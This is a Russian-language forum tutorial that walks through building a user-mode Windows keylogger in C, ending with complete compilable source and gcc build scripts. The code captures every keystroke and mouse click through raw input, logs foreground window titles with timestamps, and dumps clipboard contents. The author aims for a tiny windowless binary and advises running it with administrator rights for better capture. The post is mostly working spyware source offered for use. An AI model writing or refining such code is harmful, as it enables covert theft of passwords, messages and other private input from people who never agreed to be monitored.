Пишем юзермодный кейлоггер на C

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,888
Реакции
25
Всем привет, сегодня мы будем писать кейлоггер для винды и компилировать его в gcc потому что нам лень качать VS. Начнем.​

Определимся какие цели мы преследуем, что должен уметь кейлоггер и какой дополнительный функционал он должен иметь.

  1. Собсвенно, кейлоггер. Необходимо получать пользовательский ввод с клавиатуры и как-то его обрабатывать. Как дополнение - еще и клики мыши.
  2. Для большей информативности также будем логировать заголовок активного окна и время, чтобы понимать куда и когда что писалось.
  3. Полезная информация иногда не вводится с клавиатуры, а копируется-вставляется через буфер обмена. Необходимо мониторить и его.

С целями определились, потихоньку приступаем к кодингу. Так как нам лень качать больше 4GB мастхэва IDE Visual Studio, нужно определиться с ее заменой. На ум сразу приходит Pelles C, DEV-C++, но мы долго не мусолим и додумываемся поставить себе свободный компилятор gcc(если точнее это набор компиляторов). Вместо красивой IDE у нас будет навороченый блокнот Notepad++, а вместо треуголькой зеленой кнопки - батник.

  1. GCC - например http://www.equation.com/servlet/equation.cmd?fa=fortran
  2. Notepad++ https://notepad-plus-plus.org/

Как только установили всё, нужно добавить путь к gcc.exe в переменные окружения, чтобы постоянно не указывать полный путь до компилятора. Идем в Панель управления -> Cистема -> Дополнительные параметры системы -> Переменные среды, выделяем PATH, тыкаем изменить и добавляем там путь. У меня это выглядит так:


11568



Теперь открываем командную строку, пишем туда gcc -v, если мы все сделали правильно, то увидим примерно такой вывод:


11569



Для удобства мы сделаем батник для компиляции. В заранее созданной папке для нашего проекта создаем файл compile32.bat со следующим содержимым:


Код:
gcc main.c --entry=_wWinMain@16 -m32  -municode -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32  -l kernel32 -l shell32 -mwindows -o main32.exe
pause


Разберем параметры:

  • main.c - файл с исходным кодом, который мы будем писать далее
  • --entry=_wWinMain@16 - точка входа в программу, главная функция с которой начинается работа
  • -municode - используем юникод по дефолту для строк, WinAPI и т.д.
  • -nostdlib -nostartfiles -nodefaultlibs -nolibc - исключаем стандартные библиотеки чтобы размер бинаря был минимальным
  • -Os - оптимизация по размеру
  • -l user32, kernel32, shell32 - линкуемся с библиотеками, в которых есть нужные нам WinAPI функции
  • -mwindows чтобы в PE заголовке было "GUI application" и у нас не вылазила консоль. Хотя нам консоль понадобится, но мы её сами аллоцируем
  • -o main32.exe - файл на выходе


С окружением разобрались, можно начинать писать код.
Какие вообще есть варианты перехватывать ввод с клавиатуры? Например физическое устройство в разрез провода, но нам это не подходит по понятным причинам.
Остаются программные методы, например реализовать через драйвер, но мы этого делать не будем, потому что написать драйвер это одно, а с загрузкой драйвера в систему не так все просто, да и статья у нас про юзермодный кейлоггер. К счастью в юзермоде вариантов предостаточно.
К примеру самое простое: Ставим свой хук в цепочку хуков и нам в коллбэк будут прилетать события ввода данных с клавиатуры


Код:
 		LRESULT CALLBACK keyboardHookProc(int nCode,  WPARAM wParam, LPARAM lParam) {     // тут обрабатываем события клавиатуры     PKBDLLHOOKSTRUCT key = (PKBDLLHOOKSTRUCT) (lParam);     ...     ...     ...     return CallNextHookEx(NULL, nCode, wParam, lParam); }  int main(void) {     // ставим хук     SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc,NULL,0);     ...     ...     ...     return 0; }


На практике вариант не сильно применим, так как события иногда не прилетают по разным причинам.

Еще вариант, в цикле крутим вызов функции GetAsyncKeyState, которая определяет была ли нажата определенная клавиша с момента последнего вызова функции


Код:
 		int main() {     while (1)     {         for(i = 0; i<256; i++)         {             if (GetAsyncKeyState(i) == -32767)             //нажата клавиша с виртуальным кодом i, обрабатываем         }         // Тут необходимо поставить правильную задержу. Узнаем вызовом SystemParametersInfo с параметром SPI_GETKEYBOARDSPEED     } return 0; }


Можно не перебирать все клавиши подряд во вложенном цикле, а получить состояние всех клавиш за раз:


Код:
 		unsigned char kbstate[256]; GetKeyboardState(kbstate)    for(i=0; i<256: i++)    {       if(kbstate[i] & 0x1)       {          //нажата клавиша с виртуальным кодом i, обрабатываем       }    }


Эти вариант уже получше, но мы будем использовать другой. С помощью функции RegisterRawInputDevices подпишемся на типы устройств, которые будут поставлять нам сырые данные.


Все, теперь точно начинаем кодить. С чего начинается программа? Правильно, с точки входа. Реализуем скелет:


Код:
 		#include <windows.h>  int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow) {     return 0; }


Читаем в документации про функцию RegisterRawInputDevices, и узнаем что в нее нужно передать структуру, в которой помимо прочих членов есть HWND hwndTarget, это хэндл окна, в которое будут прилетать сообщения от устройств. Окна у нас нет, по этому делаем. Окно как-бы будет, но невидимое. С помощью CreateWindowEX делаем окно только для приема сообщений (HWND_MESSAGE). Заодно аллоцируем консоль для вывода логов.


Код:
 		int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow) {     AllocConsole();     WNDCLASSEX wc;     HWND hwnd;     MSG msg;      const TCHAR MyClassName[] = L"MyClassName";      ZeroMemory(&wc, sizeof(WNDCLASSEX));     wc.cbSize        = sizeof(WNDCLASSEX);     wc.lpfnWndProc   = WindowProc;     wc.hInstance     = hInstance;     wc.lpszClassName = MyClassName;        if(!RegisterClassEx(&wc))     {         return 0;     }         if(!CreateWindowEx(0, MyClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL))     {          return 0;     }         while(GetMessage(&msg, NULL, 0, 0) > 0)     {         TranslateMessage(&msg);         DispatchMessage(&msg);     }        return msg.wParam;    }


Следом выше создаем функцию WindowProc для обработки сообщений.


Код:
 		LRESULT CALLBACK WindowProc(   _In_ HWND   hwnd,   _In_ UINT   uMsg,   _In_ WPARAM wParam,   _In_ LPARAM lParam   )   {     switch(uMsg)     {         case WM_DESTROY:                      PostQuitMessage(0);             break;                    default:             return DefWindowProc(hwnd, uMsg, wParam, lParam);      }


На будущее сразу добавим функцию в которую мы будем передавать перехваченную инфу. Для наглядности она будет писать в консоль:


Код:
 		VOID AppendLog(TCHAR * data){     DWORD lpNumberOfCharsWritten;     WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), data, lstrlen(data), &lpNumberOfCharsWritten, NULL);   }


Теперь наконец-то можно использовать RegisterRawInputDevices.

Сразу после создания окна в него прилетает сообщение WM_CREATE, в его обработчике реализуем нужное:


Код:
 		    case WM_CREATE:             RAWINPUTDEVICE rid;             rid.usUsagePage = 1;             rid.dwFlags = RIDEV_INPUTSINK;             rid.hwndTarget = hwnd;             rid.usUsage = 2;    // для мыши                   if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))             {                 AppendLog(L"Failed");             }              rid.usUsage = 6;    // для клавиатуры             if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))             {                 AppendLog(L"Failed");             }             break;


Если все прошло успешно, то в окно будут лететь сообщения WM_INPUT, а в lParam будут данные с устройств. Добавляем обработчик (небольшие пояснения в комментариях):


Код:
 		    case WM_INPUT:             GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));             buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);                    if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,sizeof(RAWINPUTHEADER)))             {                 if(buffer->header.dwType == RIM_TYPEMOUSE && buffer->data.mouse.usButtonFlags > 0) // пришло сообшение от мыши, сообшение о том что нажата кнопка, обрабатываем                 {                                  switch(buffer->data.mouse.usButtonFlags){                                              case RI_MOUSE_LEFT_BUTTON_DOWN: AppendLog(L"[MLB]"); break;   // Нажата левая кнопка мыши                         case RI_MOUSE_MIDDLE_BUTTON_DOWN: AppendLog(L"[MMB]"); break; // средняя                         case RI_MOUSE_RIGHT_BUTTON_DOWN: AppendLog(L"[MRB]"); break;  // правая                     }                 }                               // сообщение от клавиатуры, нажата клавиша или системная клавиша                 if(buffer->header.dwType == RIM_TYPEKEYBOARD && (buffer->data.keyboard.Message == WM_KEYDOWN || buffer->data.keyboard.Message == WM_SYSKEYDOWN))                 {                     TCHAR key[256];                     ResolveKey(buffer->data.keyboard.VKey, key); // подробнее об этой функции далее                     AppendLog(key);                 }             }             HeapFree(GetProcessHeap(), 0, buffer);


С обработкой мыши все просто, нажата кнопка - записали в лог, а с клавиатурой есть ньюансы. В buffer->data.keyboard.VKey хранится виртуальный код клавиши. С ним далеко не уедешь, так как он никак не зависит от локали, активной раскладки и регистра. Например, мы пишем "Привет, мир!", а нам прилетят "GHBDTN, VBH1". Необходимо получить более точные данные.

Реализуем функцию ResolveKey. Вкратце: получаем состояние клавиатуры и раскладку для активного окна, получаем сканкод, с помощью перечисленного получаем юникодный символ с нужной буквой, либо название системной клавиши.


Код:
 		int ResolveKey(UINT Vkey, TCHAR * key) {     BYTE lpKeyState[256];     HKL keyboardLayout;     UINT ScanCode;     TCHAR KeyName[32];     GetKeyboardState(lpKeyState);     keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));       ScanCode = MapVirtualKeyEx(Vkey, MAPVK_VK_TO_VSC, keyboardLayout);       switch (Vkey)     {         case VK_NUMPAD0: case VK_NUMPAD1: case VK_NUMPAD2: case VK_NUMPAD3: case VK_NUMPAD4: case VK_NUMPAD5:         case VK_NUMPAD6: case VK_NUMPAD7: case VK_NUMPAD8: case VK_NUMPAD9 : break;               case VK_MULTIPLY: case VK_ADD:         case VK_SUBTRACT: case VK_DECIMAL:         case VK_DIVIDE : break;               case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN:         case VK_RCONTROL: case VK_RMENU:         case VK_LWIN: case VK_RWIN: case VK_APPS:         case VK_PRIOR: case VK_NEXT:         case VK_END: case VK_HOME:         case VK_INSERT: case VK_DELETE:         case VK_NUMLOCK:             ScanCode |= KF_EXTENDED;         default:                      if ( GetKeyNameText(ScanCode << 16, KeyName, sizeof(KeyName)) !=0 ){                 if (lstrlen(KeyName)>1){                         lstrcpy(key, L"[");                         lstrcat(key, KeyName);                         lstrcat(key, L"]");                         if (Vkey == VK_RETURN) lstrcat(key, L"\n");                         return 0;                                   }             };     }       lpKeyState[VK_CONTROL] = 0x00;     return ToUnicodeEx(Vkey, ScanCode, lpKeyState, key, 2, 0, keyboardLayout);   }


Небольшое пояснение про строчку lpKeyState[VK_CONTROL] = 0x00;. Если сочетание клавиши с Ctrl, например Ctrl+C, то эта клавиша резольвится в неправильный символ, поэтому сделаем так как будто Ctrl не нажат, такой вот небольшой костыль. Ну и про if (Vkey == VK_RETURN) lstrcat(key, L"\n"); - если нажат Enter, то пишем в лог [Enter] и перевод на новую строку.


Первый чекпоинт прошли, далее у нас в меню мониторинг заголовка активного окна.
Чтоб его получить много телодвижений не нужно, апишкой получаем хэндл, по хэндлу получаем заголовок.


Код:
 		    TCHAR ActiveWindowText[512];     GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));


Но как отслеживать смену окна, чтоб получить заголовок нового? Логичный вариант: с определенной периодичностью получаем заголовок, если он отличается от предыдущего - пишем в лог. Можно попробовать вариант поизящнее: ставим хук на событие EVENT_SYSTEM_FOREGROUND с помощью SetWinEventHook, тогда в момент смены окна мы будем получать сообщения об этом. Но тут загвоздка в том, что мы будем получать сообщение только в момент смены окна, а не в момент смены заголовка. Поясню - например переключаемся между вкладками в браузере - заголовок окна менятся, но само окно то то же самое, по этому сообщение мы не получим. По этому возвращаемся к первому варианту.

Определимся с переодичностью, к примеру 10 миллисекунд: #define WNDCAPTIONTIMERDELAY 10

Теперь нам нужно реализовать это дело. Тут опять варианты: либо создаем отдельный поток в котором крутим цикл и получаем заголовки, либо установим таймер. Для таймера нужно окно, и оно у нас как раз есть.

В WM_CREATE добавляем код:


Код:
 		    SetTimer(hwnd, WNDCAPTIONTIMERID,  WNDCAPTIONTIMERDELAY, (TIMERPROC) NULL);


где WNDCAPTIONTIMERID это уникальный номер, а WNDCAPTIONTIMERDELAY - периодичность. Глобально задефайним:


Код:
 		    #define WNDCAPTIONTIMERID 123     #define WNDCAPTIONTIMERDELAY 10


После установки таймера будем ловить сообщения WM_TIMER:


Код:
 		    case WM_TIMER:             switch (wParam)             {                 case WNDCAPTIONTIMERID:                     GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));                     if (lstrcmp(LastWindowText, ActiveWindowText) !=0){                                              lstrcpy(LastWindowText, ActiveWindowText);                                              SYSTEMTIME st;                         GetLocalTime(&st);                         TCHAR buff[1024];                         wsprintf(buff, L"\n[%d-%02d-%02d %02d:%02d:%02d | %s]\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, ActiveWindowText);                         AppendLog(buff);                                           }             }             break;


Краткие пояснения: по приходу сообщения получаем заголовок активного окна в ActiveWindowText, сравниваем его с предыдущим значением в LastWindowText, если они отличаются, записываем ActiveWindowText в LastWindowText и пишем в лог заголовок заодно с текущим временем в формате [ВРЕМЯ | ЗАГОЛОВОК ОКНА]


Вторая цель выполнена, займемся буфером обмена.
Тут у нас опять есть два путя. Либо постоянно крутим цикл и проверям что есть в буфере обмена, либо ищем обходной путь. Первый вариант не труЪ, по этому смотрим какие есть варианты:
1. Функция SetClipboardViewer. C её помощью добавляем свое окно в цепочку окон просмотрщиков буфера обмена, далее ловим сообщения WM_DRAWCLIPBOARD. По приходу сообщения читаем текст из буфера и сохраняем. Есть минусы - необходимы лишние телодвижения: пересылать далее сообщение WM_DRAWCLIPBOARD другим окнам в цепочке. Также мы зависим от предыдущих окон в цепочке, они могут зафейлить и не переслать нам сообщение.

2. Функция AddClipboardFormatListener. Вызываем её, и нам в окно будут лететь сообщения WM_CLIPBOARDUPDATE, сигнализирующие о том что в буфере обмена что-то поменялось. Воспользуемся ей.


Также в WM_CREATE вызываем AddClipboardFormatListener(hwnd), и получаем ошибку компиляции. Дело в том что функции нет в наших поключенных .lib файлах. Но это не проблема, дернем ее динамически, для этого нужно получить её адрес из либы "user32.dll":


Код:
 		    typedef BOOL WINAPI (*fnAddClipboardFormatListener)(_In_ HWND hwnd);     fnAddClipboardFormatListener AddClipboardFormatListener;     AddClipboardFormatListener = GetProcAddress(LoadLibrary(L"user32.dll"), "AddClipboardFormatListener");     AddClipboardFormatListener(hwnd);


Далее необходимо реализовать обработчик сообщений WM_CLIPBOARDUPDATE:


Код:
 		        case WM_CLIPBOARDUPDATE:             {                              if (IsClipboardFormatAvailable(CF_UNICODETEXT)){                     BOOL b = FALSE;                     int c = 0;                     while (b!=TRUE || c>10){                         c++;                         b = OpenClipboard(hwnd);                         if (b){                             HANDLE hMem = GetClipboardData(CF_UNICODETEXT);                             LPTSTR StringLock = (LPTSTR)GlobalLock(hMem);                             if (StringLock != NULL){                                 AppendLog(L"\n[Clipboard]\n");                                 AppendLog(StringLock);                                 AppendLog(L"\n[End clipboard]\n");                                 GlobalUnlock(hMem);                             }                             CloseClipboard();                          };                     };                 };             }             break;


Пояснения: как только пришло собщение WM_CLIPBOARDUPDATE - проверяем, что в буфере: текст или нет. Если текст, то вытаскиваем его из буфера и пишел в лог, обрамляя в [Clipboard]...[End clipboard]. Но что за странный цикл "while (b!=TRUE || c>10){"? Дело в том, что иногда при открытии буфера функцией OpenClipboard происходит фейл, так как буфер все еще занят предыдщим владельцем. Остается занятым он непродолжительное время, и такой костыль нивелирует проблему.

Заключение.
В этой статье мы разработали алгоритм простого кейлоггера, попутно разобрав различные варианты решений сопутствующих задач. На выходе у нас получился миниатюрный exe размером 16KB. Полный исходный код и мини-демонстрация будут ниже. Исходный код не идеален, где-то ради наглядности были допущения, где-то желательно было бы поставить дополнительные проверки. Также стоит описать один ньюанс: кейлоггер не будет перехватывать ввод из приложений, запущенных от имени администратора, если он сам не запущен также. Поэтому для лучшего эффекта необходимо позаботиться о привелегиях. Можно еще долго разглагольствовать, но пора заканчивать статью. Оставляйте фидбэки, критикуйте, предлагайте, задавайте вопросы в комментариях. За сим откланиваюсь.


Видео: https://vimeo.com/433170221


main.c
Код:
 		#include <windows.h>  VOID AppendLog(TCHAR * data){     DWORD lpNumberOfCharsWritten;     WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), data, lstrlen(data), &lpNumberOfCharsWritten, NULL);   }   int ResolveKey(UINT Vkey, TCHAR * key) {     BYTE lpKeyState[256];     HKL keyboardLayout;     UINT ScanCode;     TCHAR KeyName[32];     GetKeyboardState(lpKeyState);     keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL));       ScanCode = MapVirtualKeyEx(Vkey, MAPVK_VK_TO_VSC, keyboardLayout);       switch (Vkey)     {         case VK_NUMPAD0: case VK_NUMPAD1: case VK_NUMPAD2: case VK_NUMPAD3: case VK_NUMPAD4: case VK_NUMPAD5:         case VK_NUMPAD6: case VK_NUMPAD7: case VK_NUMPAD8: case VK_NUMPAD9 : break;               case VK_MULTIPLY: case VK_ADD:         case VK_SUBTRACT: case VK_DECIMAL:         case VK_DIVIDE : break;               case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN:         case VK_RCONTROL: case VK_RMENU:         case VK_LWIN: case VK_RWIN: case VK_APPS:         case VK_PRIOR: case VK_NEXT:         case VK_END: case VK_HOME:         case VK_INSERT: case VK_DELETE:         case VK_NUMLOCK:             ScanCode |= KF_EXTENDED;         default:                      if ( GetKeyNameText(ScanCode << 16, KeyName, sizeof(KeyName)) !=0 ){                 if (lstrlen(KeyName)>1){                         lstrcpy(key, L"[");                         lstrcat(key, KeyName);                         lstrcat(key, L"]");                         if (Vkey == VK_RETURN) lstrcat(key, L"\n");                         return 0;                                   }             };     }       lpKeyState[VK_CONTROL] = 0x00;     return ToUnicodeEx(Vkey, ScanCode, lpKeyState, key, 2, 0, keyboardLayout);   }  TCHAR LastWindowText[512]; TCHAR ActiveWindowText[512];  LRESULT CALLBACK WindowProc(   _In_ HWND   hwnd,   _In_ UINT   uMsg,   _In_ WPARAM wParam,   _In_ LPARAM lParam   )   {     #define WNDCAPTIONTIMERID 123     #define WNDCAPTIONTIMERDELAY 10     RAWINPUTDEVICE rid;     RAWINPUT *buffer;     UINT dwSize;     HWND hNextViewer;     switch(uMsg)     {         case WM_TIMER:             switch (wParam)             {                 case WNDCAPTIONTIMERID:                     GetWindowText(GetForegroundWindow(),ActiveWindowText, sizeof(ActiveWindowText));                     if (lstrcmp(LastWindowText, ActiveWindowText) !=0){                                              lstrcpy(LastWindowText, ActiveWindowText);                                              SYSTEMTIME st;                         GetLocalTime(&st);                         TCHAR buff[1024];                         wsprintf(buff, L"\n[%d-%02d-%02d %02d:%02d:%02d | %s]\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, ActiveWindowText);                         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);                         AppendLog(buff);                         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED);                                           }             }             break;                   case WM_CLIPBOARDUPDATE:             {                              if (IsClipboardFormatAvailable(CF_UNICODETEXT)){                     BOOL b = FALSE;                     int c = 0;                     while (b!=TRUE || c>10){                         c++;                         b = OpenClipboard(hwnd);                         if (b){                             HANDLE hMem = GetClipboardData(CF_UNICODETEXT);                             LPTSTR StringLock = (LPTSTR)GlobalLock(hMem);                             if (StringLock != NULL){                                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE);                                 AppendLog(L"\n[Clipboard]\n");                                 AppendLog(StringLock);                                 AppendLog(L"\n[End clipboard]\n");                                 GlobalUnlock(hMem);                                 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED);                             }                             CloseClipboard();                          };                     };                 };             }             break;           case WM_CREATE:             SetTimer(hwnd, WNDCAPTIONTIMERID,  WNDCAPTIONTIMERDELAY, (TIMERPROC) NULL);                       typedef BOOL WINAPI (*fnAddClipboardFormatListener)(_In_ HWND hwnd);             fnAddClipboardFormatListener AddClipboardFormatListener;             AddClipboardFormatListener = GetProcAddress(LoadLibrary(L"user32.dll"), "AddClipboardFormatListener");             AddClipboardFormatListener(hwnd);                       rid.usUsagePage = 1;             rid.dwFlags = RIDEV_INPUTSINK;             rid.hwndTarget = hwnd;             rid.usUsage = 2;                       if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))             {                 AppendLog(L"Failed");             }             rid.usUsage = 6;             if(!RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)))             {                 AppendLog(L"Failed");             }             break;                    case WM_INPUT:             GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));             buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);                    if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &dwSize,sizeof(RAWINPUTHEADER)))             {                 if(buffer->header.dwType == RIM_TYPEMOUSE && buffer->data.mouse.usButtonFlags > 0)                 {                                  switch(buffer->data.mouse.usButtonFlags){                                              case RI_MOUSE_LEFT_BUTTON_DOWN: AppendLog(L"[MLB]"); break;                         case RI_MOUSE_MIDDLE_BUTTON_DOWN: AppendLog(L"[MMB]"); break;                         case RI_MOUSE_RIGHT_BUTTON_DOWN: AppendLog(L"[MRB]"); break;                     }                 }                               if(buffer->header.dwType == RIM_TYPEKEYBOARD && (buffer->data.keyboard.Message == WM_KEYDOWN || buffer->data.keyboard.Message == WM_SYSKEYDOWN))                 {                     TCHAR key[256];                     ResolveKey(buffer->data.keyboard.VKey, key);                     AppendLog(key);                 }             }             HeapFree(GetProcessHeap(), 0, buffer);             break;                    case WM_DESTROY:                       PostQuitMessage(0);             break;                    default:             return DefWindowProc(hwnd, uMsg, wParam, lParam);     }     return 0;   }     int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nCmdShow) {     AllocConsole();     WNDCLASSEX wc;     HWND hwnd;     MSG msg;      const TCHAR MyClassName[] = L"MyClassName";      ZeroMemory(&wc, sizeof(WNDCLASSEX));     wc.cbSize        = sizeof(WNDCLASSEX);     wc.lpfnWndProc   = WindowProc;     wc.hInstance     = hInstance;     wc.lpszClassName = MyClassName;        if(!RegisterClassEx(&wc))     {         return 0;     }         if(!CreateWindowEx(0, MyClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL))     {          return 0;     }         while(GetMessage(&msg, NULL, 0, 0) > 0)     {         TranslateMessage(&msg);         DispatchMessage(&msg);     }        return msg.wParam;    }


compile64.bat


Код:
gcc main.c --entry=wWinMain -m64 -municode  -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32 -l kernel32  -l shell32 -mwindows -o main64.exe


compile32.bat


Код:
gcc main.c --entry=_wWinMain@16 -m32  -municode -nostdlib -nostartfiles -nodefaultlibs -Os -nolibc -l user32  -l kernel32 -l shell32 -mwindows -o main32.


Автор: H2SO4
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.